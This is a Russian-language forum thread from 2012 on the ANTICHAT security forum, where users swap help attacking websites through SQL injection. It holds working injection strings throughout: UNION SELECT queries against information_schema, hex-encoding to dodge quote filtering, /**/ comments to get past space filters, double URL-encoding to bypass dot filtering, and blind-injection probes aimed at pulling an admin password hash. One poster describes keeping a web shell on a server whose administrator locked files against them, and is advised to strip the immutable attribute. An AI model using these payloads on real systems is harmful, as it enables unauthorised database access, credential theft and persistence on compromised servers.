HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #21361  
Старый 27.09.2012, 23:27
Semer
Guest
Сообщений: n/a
Провел на форуме:
194

Репутация: 0
По умолчанию

=-1+union+select+1,COLUMN_NAME,3,4+from+INFORMATION_ SCHEMA.COLUMNS+where+TABLE_NAME=%22Users%22

есть такой запрос к базе.

Users должно быть в одинарных кавычках? Одинарные кавычки заменяются на %22, есть другой способ?
 
Ответить с цитированием

  #21362  
Старый 27.09.2012, 23:36
winstrool
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875

Репутация: 137
По умолчанию

Цитата:
Сообщение от Semer  
Semer said:
=-1+union+select+1,COLUMN_NAME,3,4+from+INFORMATION_ SCHEMA.COLUMNS+where+TABLE_NAME=%22Users%22
есть такой запрос к базе.
Users должно быть в одинарных кавычках? Одинарные кавычки заменяются на %22, есть другой способ?
переведи users в ХЕКС значение, в твоем случае оно равняется 0x7573657273

т.е твои запрос будет выглядеть так:

Цитата:
Сообщение от None  
-1+union+select+1,COLUMN_NAME,3,4+from+INFORMATION_ SCHEMA.COLUMNS+where+TABLE_NAME=0x7573657273
 
Ответить с цитированием

  #21363  
Старый 28.09.2012, 06:50
shumaher
Новичок
Регистрация: 16.02.2009
Сообщений: 0
Провел на форуме:
10983

Репутация: 0
По умолчанию

Вопрос по sql inj

Делаю запрос:

redirect.php?lid=' union select 1,2,3,4,5,6,7,8,9 --+

говорит что нужно продолжить подбирать количество столбцов

ок. уже посылаю такой запрос redirect.php?lid=' union select 1,2,3,4,5,6,7,8,9,10 --+

нарушен синтаксис и выдает:

Цитата:
Сообщение от None  
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'union select 1,2,3,4,5,6,7,8,9,10 -- '' at line 1
Как правильно составить запрос? прощу помощи. Думаю сайт светить не обязательно. я просто тренируюсь, потом админов оповещу.
 
Ответить с цитированием

  #21364  
Старый 28.09.2012, 10:08
BigBear
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме:
69033

Репутация: 8
По умолчанию

Цитата:
Сообщение от shumaher  
shumaher said:
Вопрос по sql inj
Делаю запрос:
redirect.php?lid=' union select 1,2,3,4,5,6,7,8,9 --+
говорит что нужно продолжить подбирать количество столбцов
ок. уже посылаю такой запрос redirect.php?lid=' union select 1,2,3,4,5,6,7,8,9,10 --+
нарушен синтаксис и выдает:
Как правильно составить запрос? прощу помощи. Думаю сайт светить не обязательно. я просто тренируюсь, потом админов оповещу.
Думаю проблема или в пробеле (что навряд ли), при условии что ты нашёл инъекцию в строковой переменной.

тогда попробуй запросы

Код:
Code:
id=1'/**/and/**/1='1
id=1'/**/and/**/1='2
Если результаты будут отличаться - фильтруется пробел

Ещё возможно что ты ковыряешь целочисленную перменную, тогда попробуй так

Код:
Code:
id=1/**/and/**/1=1
id=1/**/and/**/1=2
Если страницы отличаются - это твой случай

Перед использованием order by не грешно было бы проверить какого типа переменная перед тобой

id='/**/and/**/1=1/**/order/**/by/**/100+--+

или

id='/**/order/**/by/**/'100

выплюнет что столбцов много - у тебя переменная строкового типа

id=/**/and/**/1=1/**/order/**/by/**/100+--+

соответственно аналог

id/**/order/**/by/**/100

выплюнет что столбцов много - у тебя переменная целочисленного типа

З.Ы. А вообще это заезженная тема, гораздо приятнее работать не с теорией а практикой. Так что прошу по возможности выкладывать сюда сайты, вызывающие проблемы.

З.Ы.Ы. не поленись почитать это
 
Ответить с цитированием

  #21365  
Старый 28.09.2012, 23:25
seozone
Guest
Сообщений: n/a
Провел на форуме:
10928

Репутация: 0
По умолчанию

Вообщем такая проблема, есть шелл права везде зелёные, но когда правишь любой файл он не сохраняется и даже удалить ничего нельзя, раньше было всё как обычно, но злобный админ что-то сделал что теперь я не могу ничего править и удалять, а только заливать а в шелле права сами зелёные, что мог натворить админ?
 
Ответить с цитированием

  #21366  
Старый 29.09.2012, 01:10
RazyKK
Познающий
Регистрация: 09.02.2009
Сообщений: 70
Провел на форуме:
393885

Репутация: 34
По умолчанию

в sql инъекции не проходит точка .

то есть не могу достать имена из schema.tables

есть варианты?

И еще если пишу + from xxx то добовляет префикс

aaa.xxx
 
Ответить с цитированием

  #21367  
Старый 29.09.2012, 01:20
cat1vo
Новичок
Регистрация: 12.08.2009
Сообщений: 1
Провел на форуме:
11937

Репутация: 0
По умолчанию

seozone, сделайте lsattr и смотрите параметр -i. Есди он стоит, то это и запрещает Вам редактирование!

Цитата:
Сообщение от None  
Выписка из мануала...
Файл с установленным атрибутом `i' становится полностью не модифицируемым (недосягаемым): он не может быть удален или переименован, никакие ссылки не могут быть созданы на этот файл и никакие данные не могут быть записаны в него. Только суперпользователь или процесс, обладающий возможностью CAP_LINUX_IMMUTABLE может установить или очистить такой атрибут
Если он есть, то можно попробовать снять, если конечно прав хватит!

Код:
Code:
chattr -i /etc/lilo.conf
 
Ответить с цитированием

  #21368  
Старый 29.09.2012, 09:26
BigBear
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме:
69033

Репутация: 8
По умолчанию

Цитата:
Сообщение от RazyKK  
RazyKK said:
в sql инъекции не проходит точка .
то есть не могу достать имена из schema.tables
есть варианты?
И еще если пишу + from xxx то добовляет префикс
aaa.xxx
вместо точки попробуй url=кодированоое значение точки - %2e

Хотя был случай. когда фильтровалось обычное url кодирование, но не фильтровалось двойной url-кодирование. Для точки это значение %252e

from+information_schema%2etables

from+information_schema%252etables

А префикс добавляет потому что ищет таблицу в текущей БД.

Полный запрос должен быть вида from+`database`.`table1`
 
Ответить с цитированием

  #21369  
Старый 29.09.2012, 13:22
RazyKK
Познающий
Регистрация: 09.02.2009
Сообщений: 70
Провел на форуме:
393885

Репутация: 34
По умолчанию

нет, всеравно фильтрует. попробовал char и hex -ошибка.

Может можно через where и like запрос сделать без точки?
 
Ответить с цитированием

  #21370  
Старый 29.09.2012, 16:43
[c0de]
Guest
Сообщений: n/a
Провел на форуме:
0

Репутация: 0
По умолчанию

Есть слепая blind sql инъекция

Проверил

test.ru/forum/viewtopic.php?id=1' and 2-1='1 true

test.ru/forum/viewtopic.php?id=1' and 2-1='2 false

Известно название таблицы, полей

Так же известно название таблицы с юзерами "users_am"

и наличие полей "id" , "login", "password"

Известен id и логин админа

Возникает вопрос, как достать хэш пароля?

в первый раз сталкиваюсь со слепой скулей. Вот незнаю как решить.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ